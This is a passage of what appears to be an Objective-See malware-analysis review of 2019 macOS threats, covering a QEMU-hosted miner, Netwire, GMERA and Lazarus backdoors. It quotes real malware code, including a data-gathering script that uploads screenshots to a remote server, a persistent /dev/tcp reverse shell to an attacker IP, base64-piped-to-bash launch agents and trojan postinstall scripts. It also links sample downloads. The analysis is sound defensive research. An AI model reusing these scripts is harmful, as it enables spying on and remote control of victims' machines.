QEMU emulator version 4.0.92 (v4.1.0-rc2-dirty)
Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
...
QEMU is able to execute (via emulation) Linux binaries on systems that are not Linux (such as macOS). This
begs the question, what is it executing?
The file command (well, and Reedâs writeup) provide the answer:
$ file /usr/local/bin/archfounder
https://objective-see.com/blog/blog_0x53.html
Page 28 of 82
/usr/local/bin/archfounder: QEMU QCOW Image (v3), 527400960 bytes
The archfounder file (that is passed into QEMU ( voteen )), is a QEMU QCOW image, which (thanks again to
Reedâs analysis) we know is: âa bootable [Tiny Core] Linux system.â
Ok, so weâve got a peristent macOS launch daemon, thatâs executing a bash script, which (via QEMU), is booting
a Linux system. But why? Reed again has the answer:
"_[the] `bootlocal.sh` file contains commands [that are automatically executed during startup] to get
xmrig up and running:_
1#!/bin/sh
2# put other system startup commands here
3/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
4/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
5/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
6/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
7/mnt/sda1/tools/bin/xmrig
âŚthus, as soon as the Tiny Core system boots up, xmrig launches without ever needing a user to log
in."
So all that work to persist a linux-version of xmrig (a well known cryptocurrency miner?) Yes! #yolo?
There are macOS builds of xmrig, meaning the attacker could have simply persisted such a build and thus skipped
the entire QEMU/Linux aspect of this attack.
\
đž OSX.Netwire
`Netwire` is a fully-featured persistent backdoor. Interestinly, while `Netwire.A` appeared on Apple's radar a few
years ago, it only publicly emerged in 2019.
https://objective-see.com/blog/blog_0x53.html
Page 29 of 82
Download: OSX.Netwire (password: infect3d )
Writeups:
âA Firefox 0day Drops a macOS Backdoor (OSX.Netwire.A)â
âPotent Firefox 0-day used to install undetected backdoors on Macsâ
\
Infection Vector: Browser 0day
It all started with an email sent our way, from a user (working at a crypto-currency exchange) whoâs Mac had been
infected âŚapparently via a browser 0day!
"_Last week Wednesday I was hit with an as-yet-unknown Firefox 0day that somehow dropped a binary
and executed it on my mac (10.14.5) \ \ Let me know if you would be interested in analysing the binary,
might be something interesting in there wrt bypassing osx gatekeeper._"
Moreover, the user was able to provide a copy of the email that contained a link to the malicious website
( people.ds.cam.ac.uk ):
Dear XXX,
My name is Neil Morris. Iâm one of the Adams Prize Organizers.
Each year we update the team of independent specialists who could assess the quality of the competing projects:
http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize
Our colleagues have recommended you as an experienced specialist in this field.
We need your assistance in evaluating several projects for Adams Prize.
Looking forward to receiving your reply.
https://objective-see.com/blog/blog_0x53.html
Page 30 of 82
---
title: 404 Not Found
---
Best regards,
Neil Morris
Unfortunately at the time our analysis, the link ( people.ds.cam.ac.uk/nm603/awards/Adams_Prize ) returned a
404 Not Found :
$ curl http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize
# Not Found
The requested URL /nm603/awards/Adams_Prize was not found on this server.
---
Apache/2.4.7 (Ubuntu) Server at people.ds.cam.ac.uk Port 80 A few days later a security researcher at Coinbase, Philip Martin, posted an interesting thread on twitter, detailing
the same attack:
This (Firefox) 0day, has now been patched as CVE-2019-11707, and covered in various articles such as:
âMozilla patches Firefox zero-day abused in the wildâ
âMozilla Patches Firefox Critical Flaw Under Active Attackâ
For more information on the technical details of this browser bug, check out Samuel GroĂâs twitter thread:
As the bug was exploited as a 0day vulnerability, if any user visited the malicious site people.ds.cam.ac.uk via
Firefox (even fully-patched!), the page would âthrowâ that exploit and automatically infect the Mac computer. No
other user-interaction required!
With the ability to download and execute arbitrary payloads, the attackers could install whatever macOS malware
they desired! One of the payloads they chose to install was OSX.Netwire (on other systems, the attacker choose
to install OSX.Mokes ).
What about File Quarantine/Gatekeeper? Unfortunately those protection mechanisms only come into play, if the
binary / application contains the âquarantine attributeâ. Via an exploit, an attacker can ensure their payload, of
course, does not contain this attribute (thus neatly avoiding Gatekeeper): \
https://objective-see.com/blog/blog_0x53.html
Page 31 of 82
\
For details on File Quarantine/Gatekeeper see: âGatekeeper Exposedâ
..also note, that in macOS 10.15 (Catalina), File Quarantine/Gatekeeper have been improved, and thus may (now)
thwart this attack vector!
\
Persistence: Login Item & Launch Agent
A quick peek at the malwareâs disassembly reveals an launch agent plist, embedded directly within the binary:
memcpy(esi, "\n "/tmp/.com.apple.upd.plist"
echo "tmpplist - $(cat /tmp/.com.apple.upd.plist))" >> /tmp/loglog
cp "/tmp/.com.apple.upd.plist" "$HOME/Library/LaunchAgents/.com.apple.upd.plist"
echo "tmpplist - $(cat $HOME/Library/LaunchAgents/.com.apple.upd.plist))" >> /tmp/loglog
launchctl load "/tmp/.com.apple.upd.plist"
Decoding the plist_text variable reveals the contents of this plist:
$ python
>>> import base64
>>> plist_text="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVB..."
>>> base64.b64decode(plist_text)
>>> '\n
2
3 4 5 KeepAlive 6 7 Label 8 com.apples.apps.upd 9 ProgramArguments 10 11 sh 12 -c 13 echo 'd2hpbGUgOjsgZG8gc...RvbmU=' | base64 --decode | bash 14 15 RunAtLoad 16 17 As the ~/Library/LaunchAgents/.com.apple.upd.plist has the RunAtLoad key set to the commands
specified in the ProgramArguments array will be automatically executed each time the user logs in. \
Capabilities: Persistent remote shell
The TrendMicro report on GMERA notes that, âThe main Mach-O executable [of OSX.GMERA.A ] will launch the
following bundled shell scripts in the Resources directory: plugin , stock .â
Disassembling the main binary ( Stockfoli.app/Contents/MacOS/Stockfoli ) supports this claim:
0x000000010000226d 48891C08 mov qword [rax+rcx], rbx
0x0000000100002271 4B8D0C76 lea rcx, qword [r14+r14*2]
0x0000000100002275 488D15600E0000 lea rdx, qword [aStock] ; "stock"
...
0x00000001000022f6 49891C06 mov qword [r14+rax], rbx
0x00000001000022fa 4B8D047F lea rax, qword [r15+r15*2]
0x00000001000022fe 488D0DDD0D0000 lea rcx, qword [aPlugin] ; "plugin"
...
0x0000000100002a09 4C89F7 mov rdi, r14 ; argument #1 for method shellEx
0x0000000100002a0c E8CFF3FFFF call shellExecute ; shellExecute
https://objective-see.com/blog/blog_0x53.html
Page 47 of 82
0x0000000100002b00 4889DF mov rdi, rbx ; argument #1 for method shellEx
0x0000000100002b03 E8D8F2FFFF call shellExecute ; shellExecute
Both the plugin and stock files are bash scripts:
$ file Stockfoli.app/Contents/Resources/plugin
Stockfoli.app/Contents/Resources/plugin: Bourne-Again shell script text executable, ASCII text
$ file Stockfoli.app/Contents/Resources/stock
Stockfoli.app/Contents/Resources/stock: Bourne-Again shell script text executable, ASCII text
First, letâs look at the plugin script:
1#! /bin/bash
2
3uploadURL="https://appstockfolio.com/panel/upload.php"
4
5function getINFO() {
6 htmlbase64 """$(whoami) $(curl -s ipinfo.io | tr -d "{""}"",""\"")""" > /tmp/.info
7 htmlbase64 "$(ls /Applications)" >> /tmp/.info
8 htmlbase64 """$(ls -lh ~/Documents | awk '{print $5, "|", $6, $7, "|", $9}')""" >> /tmp/.info
9 htmlbase64 "$(ls -lh ~/Desktop | awk '{print $5, "|", $6, $7, "|", $9}')" >> /tmp/.info
10 htmlbase64 "$(date -r /var/db/.AppleSetupDone +%F)" >> /tmp/.info
11 htmlbase64 "$(df -h | awk '{print $1, $4, $5, $9}' | tail -n +2)" >> /tmp/.info
12 htmlbase64 "$(system_profiler SPDisplaysDataType)" >> /tmp/.info
13 htmlbase64 "$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
14 screencapture -t jpg -x /tmp/screen.jpg
15 sips -z 500 800 /tmp/screen.jpg
16 sips -s formatOptions 50 /tmp/screen.jpg
17 cat /tmp/screen.jpg | base64 >> /tmp/.info
18 rm /tmp/screen.jpg
19}
20
21...
22
23function sendIT(){
24 unique="$(system_profiler SPHardwareDataType | grep Serial | cut -d ":" -f 2 | xargs)"
25 whoami="$(whoami | tr -dc '[:alnum:]\n\r' | tr '[:upper:]' '[:lower:]' | xargs)"
26 ID="${whoami}_${unique}"
27 while true; do
28 get="$(curl -k -s -F "server_id=$ID" -F "file=@/tmp/.info" $uploadURL)"
29 echo "$get"
30 result="""$(par_json "$get" "result")"""
31 if [[ "$result" == "Ok" ]]; then
32 echo "File uploaded"
https://objective-see.com/blog/blog_0x53.html
Page 48 of 82
33 while true; do
34 sleep 120
35 get="$(curl -k -s -F "server_id=$ID" $uploadURL)"
36 pass="""$(par_json "$get" "text")"""
37 if [ "$pass" != "wait" ] && [ ! -z $pass ]; then
38 echo "$pass" > ~/Library/Containers/.pass
39 rm /tmp/.info
40 exit 1
41 fi
42 done
43 else
44 sleep 120
45 fi
46 done
47}
48
49getINFO
50sendIT
The script first gathers a bunch of information about the infected system, via the getINFO function. This
information includes survey including:
the username of the logged in user (via whoami )
the infected systemâs ip address (via curl -s ipinfo.io )
installed applications (via ls /Applications )
the files on the Documents and Desktop folder (via ls -lh ~/Documents and ls -lh ~/Desktop).
OS install date (via date -r /var/db/.AppleSetupDone )
disk usage (via df -h )
display informatio (via system_profiler SPDisplaysDataType )
wifi access point (via
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s )
a screencapture (via screencapture )
It then uploads this survey data to https://appstockfolio.com/panel/upload.php , writing out the serverâs
response to ~/Library/Containers/.pass
Now, on to the stock script:
1//stock
2
3#! /bin/bash
4
5louncherPATH="`dirname "$0"`/appcode"
6if [ -e $louncherPATH ]
7then
8cp $louncherPATH /private/var/tmp/appcode
https://objective-see.com/blog/blog_0x53.html
Page 49 of 82
9find ~/Downloads ~/Documents ~/Desktop -type f -name '.app' | xargs base64 -D | bash
10find ~/Downloads ~/Documents ~/Desktop -type f -name '.app' | xargs rm
11 while true; do
12 if [ -f ~/Library/Containers/.pass ]; then
13 pass="$(cat ~/Library/Containers/.pass | tr -d '\040\011\012\015')"
14 openssl aes-256-cbc -d -a -in /private/var/tmp/appcode -out /tmp/appcode -k "$pass"
15 chmod +x /tmp/appcode
16 /tmp/appcode
17 sleep 1
18 nohup bash -c "find ~/Downloads ~/Documents ~/Desktop /Applications /tmp -type f -name 'appcode' 2
19 rm ~/Library/Containers/.pass
20 exit 1
21 fi
22 sleep 30
23 done
24fi
The stock script first copies the Resources/appcode file to a temporary location
( /private/var/tmp/appcode ). If the ~/Library/Containers/.pass file exists (recall this is created by the
plugin script with information from the server), it will decrypt and execute the copy of the appcode file.
Unfortunately as the server is offline, the .pass is not created, and thus the appcode file cannot be decrypted:
"We suspect the file appcode is a malware file that contains additional routines. However, at the time of
writing, we were unable to decrypt this file since the upload URL
hxxps://appstockfolio.com/panel/upload[.]php was inaccessible" -TrendMicro
Though the OSX.GMERA.B specimen shares various similarities with OSX.GMERA.A (such as its infection vector of
a trojanized Stockfolio.app ), its payload is different.
Recall OSX.GMERA.B executes the Resources/run.sh script.
After checking in with a server located at http://owpqkszz.info/link.php , the code within the run.sh script
creates an interactive remote shell to 193.37.212.176 :
1scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25733 0>&1'`
2echo "scre - $scre)" >> /tmp/loglog
We also noted that GMERA.B (via code within run.sh ) persists a launch agent to:
~/Library/LaunchAgents/.com.apple.upd.plist , to automatically execute commands whenever the user logs in:
1...
2
3 ProgramArguments
4
5 sh
https://objective-see.com/blog/blog_0x53.html
Page 50 of 82
6 -c
7 echo 'd2hpbGUgOjsgZG8gc...RvbmU=' | base64 --decode | bash
8
9
10...
Decoding the base-64 encoded data in the command reveals the following:
while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash
-i >/dev/tcp/193.37.212.176/25733 0>&1'; done
âŚah, a persistent interactive remote shell to 193.37.212.176 .
This of course gives a remote attacker, continued access to the infected system and the ability to run arbitrary
commands.
\
đž Lazarus (unnamed)
This unnamed specimen, is yet another Lazarus group backdoor that affords a remote attacker complete command
and control over infected macOS systems.
Download: OSX.AppleJeus (password: infect3d )
Writeups:
âPass the AppleJeusâ
\
Infection Vector: Trojanized (Trading) Application
https://objective-see.com/blog/blog_0x53.html
Page 51 of 82
In early October, @malwrhunterteam tweeted about some interesting malware:
âŚnoting this malware may have been seen before (or at least was closely related to previous specimen analyzed
by Kaspersky (as OSX.AppleJeus , by Lazarus group)):
We noted early, that the de-facto method of infection utilized by the Lazarus group, was trojanized cryptocurrency
trading applications. This samples (which we refer to as OSX.AppleJeus 2 , for lack of a better name), follow an
identical approach to infect macOS targets. First, a ânewâ company was created: âJMT Tradingâ (hosted at:
https://www.jmttrading.org/):
Looks reasonably legitimate, ya? Following the âDownload from Githubâ link, will take the user to:
https://github.com/jmttrading/JMTTrader/releases, which contains various files for download. Files that contain
malware (specifically a disk image, that contain package named JMTTrader.pkg ): \
https://objective-see.com/blog/blog_0x53.html
Page 52 of 82
If the user is coerced into downloading and installing the trojanized cryptocurrency trading application, they will
be infected.
Note that the installer requires administrative privileges, but the malware will kindly ask for such privileges
during installation:
\
https://objective-see.com/blog/blog_0x53.html
Page 53 of 82
Persistence: Launch Daemon
The JMTTrader.pkg contains a postinstall script (which contains the actual installation instructions). Using
the Suspicious Package app (available for download here), we can view the contents of this install file:
1#!/bin/sh
2mv /Applications/JMTTrader.app/Contents/Resources/.org.jmttrading.plist
3 /Library/LaunchDaemons/org.jmttrading.plist
4
5chmod 644 /Library/LaunchDaemons/org.jmttrading.plist
6
7mkdir /Library/JMTTrader
8
9mv /Applications/JMTTrader.app/Contents/Resources/.CrashReporter
10 /Library/JMTTrader/CrashReporter
11
12chmod +x /Library/JMTTrader/CrashReporter
13
14/Library/JMTTrader/CrashReporter Maintain &
In short, this install script:
1. Installs a launch daemon plist ( org.jmttrading.plist )
2. Installs a daemon ( CrashReporter )
3. Executes said daemon with the Maintain command line parameter.
Both the daemonâs plist and binary are (originally) embedded into an application, JMTTrader.app found within
the .pkg . Specifically theyâre hidden files found in the /Resources directory;
Resources/.org.jmttrading.plist and Resources/.CrashReporter :
https://objective-see.com/blog/blog_0x53.html
Page 54 of 82
Using the âSuspicious Packageâ app we can extract both these file for analysis.
First, letâs look at the launch daemon plist ( org.jmttrading.plist ):
?xml version="1.0" encoding="UTF-8"?>
UBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd
Labelorg.jmttrading.jmttraderProgramArguments/Library/JMTTrader/CrashReporterMaintainRunAtLoad As expected, it references the daemon /Library/JMTTrader/CrashReporter (in the ProgramArguments array).
As the RunAtLoad is set to true macOS will automatically (re)start the daemon every time the system is
rebooted. \
https://objective-see.com/blog/blog_0x53.html
Page 55 of 82
Capabilities: Persistent Backdoor
The malware persists (via a Launch Daemon) the CrashReporter binary.
Via the file command, we can determine its file type (Mach-O 64-bit):
$ file ~/Downloads/.CrashReporter
~/Downloads/.CrashReporter: Mach-O 64-bit executable x86_64
Using my WhatsYourSign utility, we can easily ascertain itâs code-signing status. Though signed, itâs signed ad-hoc:
Running the strings command, affords us valuable insight into the (likely) functionality of the binary.
$ strings -a ~/Downloads/.CrashReporter
Content-Disposition: form-data; name="%s";
jGzAcN6k4VsTRn9
...
mont.jpg
...
beastgoc.com
https://%s/grepmonux.php
POST
...
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121
X,%`PMk--Jj8s+6=
https://objective-see.com/blog/blog_0x53.html
Page 56 of 82
\
Always run the strings command with the -a flag to instruct it to scan the entire file for printable (ASCII)
strings!
From the output of the strings command, we can see some interesting, well, strings!
beastgoc.com , https://%s/grepmonux.php
likely a download or C&C server?
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...
the binaryâs user-agent (perhaps useful as an IOC)?
X,%\`PMk--Jj8s+6=
perhaps an encryption or decryption key?
Each time the malware is started, it sends an HTTP POST request to https://beastgoc.com/grepmonux.php
containing the following data:
(lldb)x/s 0x100260000
0x100260000: "--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="token"; \r\n\r\n756222899\r\
The command and control server will respond with (encrypted) tasking.
1int listen_messagev() {
2
3...
4
5send_to_base(_g_token, 0x0, 0x0, r12, r13, 0x1);
6
7//decrypt
8do {
9 (r12 + rax) = *(int8_t *)(r12 + rax) ^ *(int8_t *)((rax & 0xf) + _cbc_iv);
10 rax = rax + 0x1;
11} while (rbx != rax);
12
13
14//handle tasking (commands)
15if (strcmp(r12, "exit") == 0x0) goto exit;
16
17if (strcmp(r12, "kcon") == 0x0) goto kcon;
18
19if (is_str_start_with(r12, "up ") == 0x0) goto up;
20
21...
https://objective-see.com/blog/blog_0x53.html
Page 57 of 82
Unfortunately during analysis, the C&C server did not return any tasking. However, via static analysis, we can
fairly easily ascertain the malwareâs capabilities.
For example, the malware supports an âexitâ command, which will (unsurprisingly) causes the malware to exit:
1if (strcmp(r12, "exit") == 0x0) goto exit;
2
3...
4
5exit:
6 r14 = 0x250;
7 var_434 = 0x0;
8 __bzero(r12, 0x30000);
9 send_to_base(*(int32_t *)_g_token, r14, 0x2, r12, &var_434, 0x2);
10 free(r12);
11 free(r14);
12 exit(0x0);
If the malware receives the up command, it appears to contain logic to open then write to a a file (i.e. upload a
file from the C&C server to an infected host):
1if (is_str_start_with(r12, "up ") != 0x0)
2{
3 //open file
4 rax = fopen(&var_430, "wb");
5
6 //(perhaps) get file contents from C&C server?
7 send_to_base(*(int32_t *)_g_token, r14, 0x2, r12, r13, 0x2)
8 ...
9
10 //decrypt
11 do {
12 (r12 + rax) = (r12 + rax) ^ (rax & 0xf) + _cbc_iv);
13 rax = rax + 0x1;
14 } while (rbx != rax);
15
16 //write out to disk
17 fwrite(r12, rbx, 0x1, var_440);
18
19 //close
20 fclose(var_440);
21
22}
Other commands, will cause the malware to invoke a function named: proc_cmd :
https://objective-see.com/blog/blog_0x53.html
Page 58 of 82
1if ((rbx < 0x7) || (is_str_start_with(r12, "stand ") == 0x0))
2 goto loc_10000241c;
3
4loc_10000241c:
5 rax = proc_cmd(r12, r14, &var_438);
The proc_cmd function appears to execute a command via the shell (specifically via the popen API):
1int proc_cmd(int * arg0, int * arg1, unsigned int * arg2) {
2 r13 = arg2;
3 r14 = arg1;
4
5 __bzero(&var_430, 0x400);
6 sprintf(&var_430, "%s 2>&1 &", arg0);
7 rax = popen(&var_430, "r");
$ man popen
FILE * popen(const char *command, const char *mode);
The popen() function ``opens'' a process by creating a bidirectional pipe, forking, and invoking the
The command argument is a pointer to a null-terminated string containing a shell command line. This
The ability to remotely execute commands, clearly gives a remote attacker full and extensible control over the
infected macOS system!
\
đž OSX.Yort.B
OSX.Yort.B is a close variant to the Lazarus groupâs OSX.Yort.A ; a backdoor that affords a remote attacker
complete command and control over infected macOS systems.
https://objective-see.com/blog/blog_0x53.html
Page 59 of 82
Download: OSX.Yort.B (password: infect3d )
Writeups:
âMac Backdoor Linked to Lazarus Targets Korean Usersâ
âLazarus Take 3: FlashUpdateCheck, Album.appâ
\
Infection Vector: Trojanized Application
In late October, Twitter user @cyberwar_15 uncovered a new Lazarus group backdoor, targeting macOS users.
His tweet identified a malicious excel ( xls ) document, and a malicious application Album.app .
Though Lazarus group has previously utilized malicious âmacro-ladenâ office documents to target macOS users
(e.g. OSX.Yort) is malicious excel document (as noted by TrendMicro) contains no macOS logic:
$ olevba ě°ě¸ěŹëŚŹí
ě¤í¸.xls
===============================================================================
FILE: ě°ě¸ěŹëŚŹí
ě¤í¸.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: ě°ě¸ěŹëŚŹí
ě¤í¸.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#If Mac Then
#Else
https://objective-see.com/blog/blog_0x53.html
Page 60 of 82
âŚthus is seems likely to assume that the malicious application ( Album.app ) is instead directly distributed to
targets (perhaps as an email attachment).
As the application is unsigned, userâs would have to manually disable or work-around Gatekeeper: \
$ codesign -dvv /Users/patrick/Downloads/yort_b/Album.app
/Users/patrick/Downloads/yort_b/Album.app: code object is not signed at all
Thus, its unlikely many macOS users were infected âŚthough in a targeted APT operation, sometimes just one is
enough!
Persistence: Launch Agent
Although the original version of Yort was not persisted, OSX.Yort.B is persisted as a launch agent.
Specifically, if the user is coerced into running the malicious application, Album.app , it will persistently install a
launch agent; ~/Library/Launchagents/com.adobe.macromedia.plist .
Taking a peek at disassembly of the malicious applicationâs binary ( Album.app/Contents/macOS/Flash Player ),
reveals an embedded property list and code that will both save out this plist, then launch it via launchctl load :
1rax = strncmp(&var_1010, "/tmp", 0x4);
2if (rax != 0x0) {
3 memset(&var_1410, 0x0, 0x400);
4 var_8144 = sprintf(&var_1410, "%s/Library/LaunchAgents/%s",
https://objective-see.com/blog/blog_0x53.html
Page 61 of 82
5 &var_1010, "com.adobe.macromedia.flash.plist");
6
7 rax = fopen(&var_1410, "w");
8 var_80C0 = rax;
9 if (var_80C0 != 0x0) {
10 fprintf(var_80C0, "
11 \n
12 \n\n\n\tEnvironmentVariables
13 \n\t\n\t\tPATH\n\t\t/usr/local/bin:/âŚ");
14 fclose(var_80C0);
15 }
16 memset(&var_1410, 0x0, 0x400);
17 var_816C = sprintf(&var_1410, "launchctl load -w \"%s/Library/LaunchAgents/%s\"",
18 &var_1010, "com.adobe.macromedia.flash.plist");
19 rax = system(&var_1410);
20}
We can also dynamically observe this via our FileMonitor :
# FileMonitor.app/Contents/MacOS/FileMonitor -filter "Flash Player" -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
"file" : {
"destination" : "~/Library/LaunchAgents/com.adobe.macromedia.flash.plist",
"process" : {
"uid" : 501,
"arguments" : [
],
"ppid" : 1,
"ancestors" : [
1
],
"signing info" : {
"csFlags" : 0,
"isPlatformBinary" : 0,
"cdHash" : "00000000000000000000"
},
"path" : "Album.app/Contents/MacOS/Flash Player",
"pid" : 1031
}
},
"timestamp" : "2019-12-27 21:05:48 +0000"
}
Of course, this persistence is readily detected by our BlockBlock tool:
https://objective-see.com/blog/blog_0x53.html
Page 62 of 82
By means of the com.adobe.macromedia.flash.plist file, the malware perists a binary:
/Users/user/.FlashUpdateCheck (as specified via the Program key):
defaults read ~/Library/LaunchAgents/com.adobe.macromedia.flash.plist
{
EnvironmentVariables = {
PATH = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:";
};
KeepAlive = 0;
Label = FlashUpdate;
LaunchOnlyOnce = 1;
Program = "/Users/user/.FlashUpdateCheck";
RunAtLoad = 1;
}
As the RunAtLoad key is set, macOS will automatically (re)start the .FlashUpdateCheck binary each time the
user logs in.
Capabilities: Backdoor
https://objective-see.com/blog/blog_0x53.html
Page 63 of 82
Recall when the user runs the malicious Album.app it persists a hidden binary, .FlashUpdateCheck
We can observe this binary being dropped by Album.app :
# FileMonitor.app/Contents/MacOS/FileMonitor -filter "Flash Player" -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
"file" : {
"destination" : "/Users/user/.FlashUpdateCheck",
"process" : {
"uid" : 501,
"arguments" : [
],
"ppid" : 1,
"ancestors" : [
1
],
"signing info" : {
"csFlags" : 0,
"isPlatformBinary" : 0,
"cdHash" : "00000000000000000000"
},
"path" : "/Users/user/Desktop/Album.app/Contents/MacOS/Flash Player",
"pid" : 1031
}
},
"timestamp" : "2019-12-27 21:05:48 +0000"
}
The hidden .FlashUpdateCheck binary is basic backdoor, essentially identical to OSX.Yort ( mt.dat ) which
we covered early in this blog post.
In their brief writeup on the malware, SentinelOne, notes this fact as well, stating that:
"*research suggests that the payload is the same backdoor payload we described earlier this year*" -
SentinelOne
https://objective-see.com/blog/blog_0x53.html
Page 64 of 82
Our analysis confirms this (as does a quick look at the embedded strings):
In OSX.Yort.B, the Lazarus group attackers has changed a few strings, and removed various function names (to
slightly complicate analysis).
âŚfor example, in OSX.Yort.A the execute command function was aptyl named âReplyCmdâ, while the file
download command was named âReplyDownâ. In OSX.Yort.B, these functions remain unnamed.
As we detailed the capabilities of this backdoor above, we wonât (re)cover it again here. However, the recall it
supports âstandardâ backdoor commands such as:
survey
file download/upload
(shell)command execution
Armed with these capabilities, remote attacker can maintain full remote control over the infected macOS system!
\
đž Lazarus Loader (aka macloader )
Yet another Lazarus group creation (internally named macloader ), this first-stage implant loader, can download
and execute modules directly from memory!
https://objective-see.com/blog/blog_0x53.html
Page 65 of 82
Download: macloader (password: infect3d )
Writeups:
âLazarus Group Goes âFilelessââ
âNewly discovered Mac malware uses âfilelessâ technique to remain stealthyâ
\
Infection Vector: Trojanized (Trading) Application
Recently, Dinesh_Devadoss posted a tweet about another Lazarus group macOS trojan:
Weâve noted that the Lazarus APT group has a propensity for targeting users or administrators of crypto-currency
exchanges. And their de facto method of infecting such targets is via fake crypto-currency companies and trading
applications. Here, yet again we see them utilizing this approach to infect their targets.
Specifically, they first created a (fake) crypto-currency trading platform, âUnion Trader Cryptoâ
( unioncrypto.vip ):
https://objective-see.com/blog/blog_0x53.html
Page 66 of 82
Querying VirusTotal with this IP address, we find a URL request that triggered a download of the malicious
application ( https://www.unioncrypto.vip/download/W6c2dq8By7luMhCmya2v97YeN ):
Said application is delivered via a disk image, named UnionCryptoTrader.dmg We can mount this disk image, via
the hdiutil attach command:
$ hdiutil attach ~/Downloads/UnionCryptoTrader.dmg
expected CRC32 $7720DF1C
/dev/disk4 GUID_partition_scheme
/dev/disk4s1 Apple_APFS
/dev/disk5 EF57347C-0000-11AA-AA11-0030654
/dev/disk5s1 41504653-0000-11AA-AA11-0030654 /Volumes/UnionCryptoTrader
https://objective-see.com/blog/blog_0x53.html
Page 67 of 82
It contains a single package: UnionCryptoTrader.pkg :
$ ls -lart /Volumes/UnionCryptoTrader
total 40120
-rwxrwxrwx 1 patrick staff 20538265 Sep 4 06:25 UnionCryptoTrader.pkg
Via our âWhatsYourSignâ application, itâs easy to see the UnionCryptoTrader.pkg package is unsigned:
âŚwhich means macOS will warn the user, if they attempt to open it:
Clearly, the Lazarus group is sticking with its successful attack vector (of targeting employees of crypto-currency
exchanges with trojanized trading applications).
Persistence: Launch Agent
https://objective-see.com/blog/blog_0x53.html
Page 68 of 82
Taking a peek at the UnionCryptoTrader.pkg package, uncovers a postinstall script that will be executed at
the end of the installation process:
1#!/bin/sh
2mv /Applications/UnionCryptoTrader.app/Contents/Resources/.vip.unioncrypto.plist
3 /Library/LaunchDaemons/vip.unioncrypto.plist
4
5chmod 644 /Library/LaunchDaemons/vip.unioncrypto.plist
6mkdir /Library/UnionCrypto
7
8mv /Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater
9 /Library/UnionCrypto/unioncryptoupdater
10
11chmod +x /Library/UnionCrypto/unioncryptoupdater
12/Library/UnionCrypto/unioncryptoupdater &
The purpose of this script is to persistently install a launch daemon.
Specifically, the script will:
move a hidden plist ( .vip.unioncrypto.plist ) from the applicationâs Resources directory into
/Library/LaunchDaemons
set it to be owned by root
create a /Library/UnionCrypto directory
move a hidden binary ( .unioncryptoupdater ) from the applicationâs Resources directory into
/Library/UnionCrypto/
set it to be executable
execute this binary ( /Library/UnionCrypto/unioncryptoupdater )
We can passively observe this part of the installation via either our File or Process monitors:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 0,
"arguments" : [
"mv",
"/Applications/UnionCryptoTrader.app/Contents/Resources/.vip.unioncrypto.plist",
"/Library/LaunchDaemons/vip.unioncrypto.plist"
],
https://objective-see.com/blog/blog_0x53.html
Page 69 of 82
"ppid" : 3457,
"ancestors" : [
3457,
951,
1
],
"signing info" : {
"csFlags" : 603996161,
"signatureIdentifier" : "com.apple.mv",
"cdHash" : "7F1F3DE78B1E86A622F0B07F766ACF2387EFDCD",
"isPlatformBinary" : 1
},
"path" : "/bin/mv",
"pid" : 3458
},
"timestamp" : "2019-12-05 20:14:28 +0000"
}
...
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 0,
"arguments" : [
"mv",
"/Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater",
"/Library/UnionCrypto/unioncryptoupdater"
],
"ppid" : 3457,
"ancestors" : [
3457,
951,
1
],
"signing info" : {
"csFlags" : 603996161,
"signatureIdentifier" : "com.apple.mv",
"cdHash" : "7F1F3DE78B1E86A622F0B07F766ACF2387EFDCD",
"isPlatformBinary" : 1
},
"path" : "/bin/mv",
"pid" : 3461
},
"timestamp" : "2019-12-05 20:14:28 +0000"
}
https://objective-see.com/blog/blog_0x53.html
Page 70 of 82
...
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 0,
"arguments" : [
"/Library/UnionCrypto/unioncryptoupdater"
],
"ppid" : 1,
"ancestors" : [
1
],
"signing info" : {
"csFlags" : 536870919,
"signatureIdentifier" : "macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392",
"cdHash" : "8D204E5B7AE08E80B728DE675AEB8CC735CCF6E7",
"isPlatformBinary" : 0
},
"path" : "/Library/UnionCrypto/unioncryptoupdater",
"pid" : 3463
},
"timestamp" : "2019-12-05 20:14:28 +0000"
}
Though installing a launch daemon requires root access, the installer will prompt the user for their credentials:
Once the installer completes, the binary unioncryptoupdater will both currently executing, and persistently
installed:
$ ps aux | grep [u]nioncryptoupdater
root 1254 /Library/UnionCrypto/unioncryptoupdater
https://objective-see.com/blog/blog_0x53.html
Page 71 of 82
Of course, BlockBlock will detect the launch daemon persistence attempt:
As noted, persistence is achieved via the vip.unioncrypto.plist launch daemon:
